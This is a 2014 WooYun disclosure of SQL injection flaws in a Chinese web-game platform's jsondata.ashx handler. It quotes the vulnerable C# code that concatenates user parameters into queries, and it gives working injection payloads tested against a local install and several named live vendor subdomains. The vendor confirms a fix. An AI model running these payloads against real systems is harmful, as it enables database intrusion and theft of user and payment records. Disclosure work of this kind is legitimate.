当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062949

漏洞标题:信游科技页游平台程序通用型SQL注入(一个文件多处)

相关厂商:52xinyou.cn

漏洞作者: what_news

提交时间:2014-06-03 12:17

修复时间:2014-09-01 12:18

公开时间:2014-09-01 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

看了@wefgod 大牛以前提交的 有空看了看这套代码 又发现了注入
官网几套系统都存在通用性注入漏洞 只是有安全狗 本人很菜不会过狗 但是漏洞是存在的

详细说明:

存在漏洞的文件:

xykj/jsondata.ashx


三个分支 都存在注入
源码如下

<%@ WebHandler Language="C#" Class="jsondata" %>
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Web;
using com.xykj.common;
/// <summary>
/// 请求处理
/// 发送到客户端为json格式。
/// 支持跨域请求
/// </summary>
public class jsondata : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
string complate = "{}";
var type = context.Request.Params["cmd"];
var callback = context.Request.Params["callback"];
switch (type)
{
case "event":
var obj = new com.xykj.business.Events().GetEvents(int.Parse(context.Request.QueryString["evid"]));
complate = XY.JToJson(obj);
break;
case "aotu": //第一个分支
complate = XY.JToJson(new com.xykj.business.Control.AotuComplete().Complete(context.Request.Params)); //跟进
break;
case "station_order": //第二个分支
var _dic = new Dictionary<string, string>();
_dic.Clear();
foreach (var xyEventse in context.Request.Params.AllKeys)
{
_dic.Add(xyEventse, context.Request.Params[xyEventse]);
}
int pageindex = 1;
try
{
pageindex = int.Parse(context.Request.Params["html_html"]);
}
catch (Exception)
{
}
int pagesize = 15;
int count = 0;
decimal summoney = 1;


complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Order.OrderManage().GetStationOrders(_dic, pageindex, pagesize, out count, out summoney)); //跟进GetStationOrders函数
complate = "{\"pageindex\":" + pageindex + ", \"pagesize\":" + pagesize + ",\"count\":" + count + " ,\"summoney\":" + summoney + ",\"" + complate.Substring(2);
break;
case "games_order": //第三个分支
var _dic2 = new Dictionary<string, string>();
_dic2.Clear();
foreach (var xyEventse in context.Request.Params.AllKeys)
{
_dic2.Add(xyEventse, context.Request.Params[xyEventse]);
}
int pageindex2 = 1;
try
{
pageindex2 = int.Parse(context.Request.Params["html_html"]);
}
catch (Exception)
{
}
int pagesize2 = 15;
int count2 = 0;
decimal summoney2 = 1;
complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Order.OrderManage().GetOrders(_dic2, pageindex2, pagesize2, out count2, out summoney2)); //看下GetOrders函数
complate = "{\"pageindex\":" + pageindex2 + ",\"pagesize\":" + pagesize2 + ",\"count\":" + count2 + " ,\"summoney\":" + summoney2 + ",\"" + complate.Substring(2);
break;
case "order_load_server":
int sdfsdf=0;
int gid=0;
try
{
gid = int.Parse(context.Request.Params["gid"]);
}
catch (Exception)
{
gid = 0;
}
complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Games.Server().GetServerByGid(gid, 100000, 1, out sdfsdf));
break;
}
context.Response.ContentType = "application/json";
if (string.IsNullOrEmpty(callback))
{
context.Response.Write(complate);
}
else
{
context.Response.Write(callback + "(" + complate + ")");
}
}
public bool IsReusable
{
get
{
return false;
}
}
}


第一个分支的

public IList<string> Complete(NameValueCollection para)
{
string str = para["field"];
string str2 = para["chars"]; //对获取的参数没处理
string sql = "";
string str4 = str;
if (str4 != null) //下面的str2都存在注入了
{
if (!(str4 == "acc"))
{
if (str4 == "name")
{
sql = "select top 10 [name] from xy_users where [name] like '%" + str2 + "%'";
}
else if (str4 == "ip")
{
sql = "select top 10 [ip] from xy_Spread_Admin where [ip] like '%" + str2 + "%'";
}
else if (str4 == "gamename")
{
sql = "select top 10 [Name] from xy_games where [Name] like '%" + str2 + "%'";
}
else if (str4 == "newsmanage")
{
sql = "select top 10 [Title] from xy_article where [Title] like '%" + str2 + "%'";
}
}
else
{
sql = "select top 10 [account] from xy_users where [account] like '%" + str2 + "%'";
}
}
DataTable dataTable = this.GetDataTable(sql);
List<string> list = new List<string>();
foreach (DataRow row in dataTable.Rows)
{
object obj2 = row[0];
if (obj2 != null)
{
list.Add(obj2.ToString());
}
}javascript:void(0)
return list;
}


第二个分支

public DataSet GetStationOrders(Dictionary<string, string> Params, int pageindex, int pagesize, out int count, out decimal summoney)
{
string payFs = "";
string orderId = "";
if (Params.ContainsKey("OrderId"))
{
orderId = Params["OrderId"]; //没处理 下面的参数都一样的
}
string payUser = "";
if (Params.ContainsKey("PayUser"))
{
payUser = Params["PayUser"];
}
string dateType = "";
if (Params.ContainsKey("selectTime"))
{
dateType = Params["selectTime"];
}
DateTime? start = null;
if (Params.ContainsKey("StartTime") && !string.IsNullOrEmpty(Params["StartTime"]))
{
start = new DateTime?(XY.ToDateTime(Params["StartTime"]));
}
string payResults = "";
if (Params.ContainsKey("PayResults"))
{
payResults = Params["PayResults"];
}
DateTime? end = null;
if (Params.ContainsKey("EndTime") && !string.IsNullOrEmpty(Params["EndTime"]))
{
end = new DateTime?(XY.ToDateTime(Params["EndTime"]));
}
foreach (KeyValuePair<string, string> pair in Params)
{
if (pair.Key.StartsWith("chk_"))
{
if (payFs.Trim() != "")
{
payFs = payFs + ",'" + pair.Value + "'";
}
else
{
payFs = "'" + pair.Value + "'";
}
}
}
string iPType = "";
if (Params.ContainsKey("selectIP"))
{
iPType = Params["selectIP"];
}
string ip = null;
if (Params.ContainsKey("IP") && !string.IsNullOrEmpty(Params["IP"]))
{
ip = Params["IP"];
}
decimal num = 0M;
if (Params.ContainsKey("PayMoney_Start") && !string.IsNullOrEmpty(Params["PayMoney_Start"]))
{
if (!XY.ValidationRegX(Params["PayMoney_Start"].ToString(), "^[0-9_]+$"))
{
count = 0;
summoney = 0M;
return null;
}
num = Convert.ToDecimal(Params["PayMoney_Start"]);
}
decimal num2 = 0M;
if (Params.ContainsKey("PayMoney_End") && !string.IsNullOrEmpty(Params["PayMoney_End"]))
{
if (!XY.ValidationRegX(Params["PayMoney_End"].ToString(), "^[0-9_]+$"))
{
count = 0;
summoney = 0M;
return null;
}
num2 = Convert.ToDecimal(Params["PayMoney_End"]);
}
return this.os.GetStationOrders(orderId, payUser, dateType, start, end, payFs, iPType, ip, num, num2, payResults, pageindex, pagesize, out count, out summoney);//跟进
}


public DataSet GetStationOrders(string OrderId, string PayUser, string DateType, DateTime? start, DateTime? end, string PayFs, string IPType, string ip, decimal paymoney_start, decimal paymoney_end, string PayResults, int pageindex, int pagesize, out int count, out decimal summoney)
{
object obj2;
string str = " ";
if ((OrderId != "") && (OrderId != null))
{
str = str + " and OrderId='" + OrderId + "'"; //直接带入了存在注入了 下面的参数也一样
}
if ((PayUser != "") && (PayUser != null))
{
xy_users userByAccount = new Account().GetUserByAccount(PayUser);
if (userByAccount != null)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and userid='", userByAccount.ID, "'" });
}
else
{
str = str + " and userid=-9999";
}
}
if ((DateType == "1") && (DateType != null))
{
if (start.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and date >= '", start.Value, "' " });
}
if (end.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and date <= '", end.Value, "' " });
}
}
else if ((DateType == "2") && (DateType != null))
{
if (start.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayDate >= '", start.Value, "' " });
}
if (end.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayDate <= '", end.Value, "' " });
}
}
if ((PayResults != "全部") && (PayResults != null))
{
str = str + " and PayResults ='" + PayResults + "' ";
}
if (((PayFs != "全部") && (PayFs != null)) && (PayFs != ""))
{
str = str + " and PayType in(" + PayFs + ")";
}
if (paymoney_end != 0M)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayMoney>=", paymoney_start, " and PayMoney<=", paymoney_end });
}
if ((IPType == "1") && (IPType != null))
{
str = str + " and CreateIp='" + ip + "'";
}
else if ((IPType == "2") && (IPType != null))
{
str = str + " and PayIp='" + ip + "'";
}
string sql = string.Concat(new object[] { "select top ", pagesize, "so.ID,so.OrderId,so.PayMoney,so.VMoney,so.Date,so.PayDate,so.UserId,so.OrderState,so.PayResults,so.PayType,so.CreateIp,so.PayIp,u.Account from (select ROW_NUMBER() over (order by id desc)row,* from xy_stationOrder where 1=1 ", str, ") so inner join dbo.xy_users u on so.UserId=u.ID where 1=1 and so.row>(", pagesize, "*(", pageindex, "-1)) " });
DataSet dataSet = this.GetDataSet(sql);
DataSet set2 = this.GetDataSet(" select COUNT(*),SUM(PayMoney)PayMoney from dbo.xy_stationOrder so inner join dbo.xy_users u on so.UserId=u.ID where 1=1 " + str);
count = int.Parse(set2.Tables[0].Rows[0][0].ToString());
try
{
summoney = Convert.ToDecimal(set2.Tables[0].Rows[0][1].ToString());
}
catch (Exception)
{
summoney = 0M;
}
return dataSet;
}


第三个分支

public DataSet GetOrders(Dictionary<string, string> Params, int pageindex, int pagesize, out int count, out decimal summoney)
{
string payFs = "";
string orderId = "";
if (Params.ContainsKey("OrderId"))
{
orderId = Params["OrderId"]; //跟上面的一样没处理 下面的参数都没处理
}
string payUser = "";
if (Params.ContainsKey("PayUser"))
{
payUser = Params["PayUser"];
}
string dateType = "";
if (Params.ContainsKey("selectTime"))
{
dateType = Params["selectTime"];
}
DateTime? start = null;
if (Params.ContainsKey("StartTime") && !string.IsNullOrEmpty(Params["StartTime"]))
{
start = new DateTime?(XY.ToDateTime(Params["StartTime"]));
}
DateTime? end = null;
if (Params.ContainsKey("EndTime") && !string.IsNullOrEmpty(Params["EndTime"]))
{
end = new DateTime?(XY.ToDateTime(Params["EndTime"]));
}
string staus = "";
if (Params.ContainsKey("Staus"))
{
staus = Params["Staus"];
}
foreach (KeyValuePair<string, string> pair in Params)
{
if (pair.Key.StartsWith("chk_"))
{
if (payFs.Trim() != "")
{
payFs = payFs + ",'" + pair.Value + "'";
}
else
{
payFs = "'" + pair.Value + "'";
}
}
}
string iPType = "";
if (Params.ContainsKey("selectIP"))
{
iPType = Params["selectIP"];
}
string ip = null;
if (Params.ContainsKey("IP") && !string.IsNullOrEmpty(Params["IP"]))
{
ip = Params["IP"];
}
decimal num = 0M;
if (Params.ContainsKey("PayMoney_Start") && !string.IsNullOrEmpty(Params["PayMoney_Start"]))
{
if (!XY.ValidationRegX(Params["PayMoney_Start"].ToString(), "^[0-9_]+$"))
{
count = 0;
summoney = 0M;
return null;
}
num = Convert.ToDecimal(Params["PayMoney_Start"]);
}
decimal num2 = 0M;
if (Params.ContainsKey("PayMoney_End") && !string.IsNullOrEmpty(Params["PayMoney_End"]))
{
if (!XY.ValidationRegX(Params["PayMoney_End"].ToString(), "^[0-9_]+$"))
{
count = 0;
summoney = 0M;
return null;
}
num2 = Convert.ToDecimal(Params["PayMoney_End"]);
}
string compgame = "";
if (Params.ContainsKey("compgame"))
{
compgame = Params["compgame"];
}
string compserver = "";
if (Params.ContainsKey("compserver"))
{
compserver = Params["compserver"];
}
return this.os.GetOrder(orderId, payUser, dateType, start, end, staus, payFs, iPType, ip, num, num2, compgame, compserver, pageindex, pagesize, out count, out summoney); //跟进
}


public DataSet GetOrder(string OrderId, string PayUser, string DateType, DateTime? start, DateTime? end, string Staus, string PayFs, string IPType, string ip, decimal paymoney_start, decimal paymoney_end, string compgame, string compserver, int pageindex, int pagesize, out int count, out decimal summoney)
{
object obj2;
string str = " ";
string str2 = "";
if ((OrderId != "") && (OrderId != null))
{
str = str + " and OrderId='" + OrderId + "'"; //存在注入 下面的参数也一样
str2 = str2 + " and o.OrderId='" + OrderId + "'";
}
if ((PayUser != "") && (PayUser != null))
{
xy_users userByAccount = new Account().GetUserByAccount(PayUser);
if (userByAccount != null)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and userid='", userByAccount.ID, "'" });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.userid='", userByAccount.ID, "'" });
}
else
{
str = str + " and userid=-9999";
str2 = str2 + " and o.userid=-9999";
}
}
if ((DateType == "1") && (DateType != null))
{
if (start.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and CreateTime >= '", start.Value, "' " });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.CreateTime >= '", start.Value, "' " });
}
if (end.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and CreateTime <= '", end.Value, "' " });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.CreateTime <= '", end.Value, "' " });
}
}
else if ((DateType == "2") && (DateType != null))
{
if (start.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayTime >= '", start.Value, "' " });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.PayTime >= '", start.Value, "' " });
}
if (end.HasValue)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayTime <= '", end.Value, "' " });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.PayTime <= '", end.Value, "' " });
}
}
if ((Staus != "全部") && (Staus != null))
{
str = str + " and Staus ='" + Staus + "' ";
str2 = str2 + " and o.Staus ='" + Staus + "' ";
}
if (((PayFs != "全部") && (PayFs != null)) && (PayFs != ""))
{
str = str + " and PayType in(" + PayFs + ")";
str2 = str2 + " and o.PayType in(" + PayFs + ")";
}
if ((IPType == "1") && (IPType != null))
{
str = str + " and CreateIp='" + ip + "'";
str2 = str2 + " and o.CreateIp='" + ip + "'";
}
else if ((IPType == "2") && (IPType != null))
{
str = str + " and PayIp='" + ip + "'";
str2 = str2 + " and o.PayIp='" + ip + "'";
}
if (paymoney_end != 0M)
{
obj2 = str;
str = string.Concat(new object[] { obj2, " and PayMoney>=", paymoney_start, " and PayMoney<=", paymoney_end });
obj2 = str2;
str2 = string.Concat(new object[] { obj2, " and o.PayMoney>=", paymoney_start, " and o.PayMoney<=", paymoney_end });
}
if (((compgame != "") && (compgame != null)) && (compgame != "-1"))
{
str = str + " and gameid='" + compgame + "'";
str2 = str2 + " and o.gameid='" + compgame + "'";
}
if (((compserver != "") && (compserver != null)) && (compserver != "-1"))
{
str = str + " and serverid='" + compserver + "'";
str2 = str2 + " and o.serverid='" + compserver + "'";
}
string str3 = string.Concat(new object[] { "select top ", pagesize, "o.ID,o.UserId,o.OrderId,o.PayMoney,o.CreateTime,o.PayTime,o.CreateIp,o.PayIp,o.PayResults, o.OnPay,o.Staus,o.PayType,o.GameResults,o.gameid,o.serverid,(ga.Name)gamename,(s.name)ServerName,u.Account from (select ROW_NUMBER() over (order by id desc)row,* from dbo.xy_order where 1=1 ", str, ") o inner join dbo.xy_games ga on o.gameid=ga.ID inner join dbo.xy_servers s on s.ID=o.serverid inner join dbo.xy_users u on o.UserId=u.ID where 1=1 and o.row>(", pagesize, "*(", pageindex, "-1)) " });
XY.Cache.Delete(XY.MD5(str3));
DataSet dataSet = this.GetDataSet(str3);
string str4 = " select COUNT(*),SUM(PayMoney) PayMoney from xy_order o inner join dbo.xy_servers s on s.ID=o.serverid and o.gameid=s.GameId where 1=1 " + str2;
XY.Cache.Delete(XY.MD5(str4));
DataSet set2 = this.GetDataSet(str4);
try
{
if ((set2 != null) && (set2.Tables[0].Rows.Count > 0))
{
count = int.Parse(set2.Tables[0].Rows[0][0].ToString());
summoney = Convert.ToDecimal(set2.Tables[0].Rows[0][1].ToString());
return dataSet;
}
count = 0;
summoney = 0M;
}
catch (Exception)
{
count = 0;
summoney = 0M;
}
return dataSet;


漏洞证明:

证明
先本地搭建测试
第一个分支
访问

http://192.168.1.107/xykj/jsondata.ashx


提交

cmd=aotu&field=acc&char=%


正常显示

531.png


接着提交

cmd=aotu&field=acc&chars=%' and (select @@version)>0 --


5311.png


由于官网几个站都装有安全狗 我不会绕过狗 但是可证明是存在注入的
访问

http://52xinyou.com/project.html


这有几套代码进行测试

http://xy001.52xinyou.cn/xykj/jsondata.ashx


提交

cmd=aotu&field=acc&chars=%

正常显示

5312.png


提交

cmd=aotu&field=acc&chars=%' and 1=1 --

正常显示

5313.png


提交

cmd=aotu&field=acc&chars=%' and 1=2 --


5314.png


证明是存在注入的
第二套

http://xy002.52xinyou.cn/


5315.png


5316.png


第三套

http://xy003.52xinyou.cn/


5317.png


5318.png


第四套

http://xy006.52xinyou.cn/


5319.png


5320.png


第二个分支 跟第三个分支 由于不知道官网数据库中的数据 关键一点就是存在安全狗的问题
使得不知道如何证明
我还是在本地证明一下吧
访问

http://192.168.1.107/xykj/jsondata.ashx


提交

cmd=games_order&OrderId=1' and (select @@version)>0 and '1'='1


5321.png


另一个分支
访问

http://192.168.1.107/xykj/jsondata.ashx


提交

cmd=station_order&OrderId=1' and (select @@version)>0 and '1'='1


5322.png


修复方案:

对参数进行处理吧

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-03 18:08

厂商回复:

非常感激 已经修复 感激每位白帽子的大力挖掘

最新状态:

暂无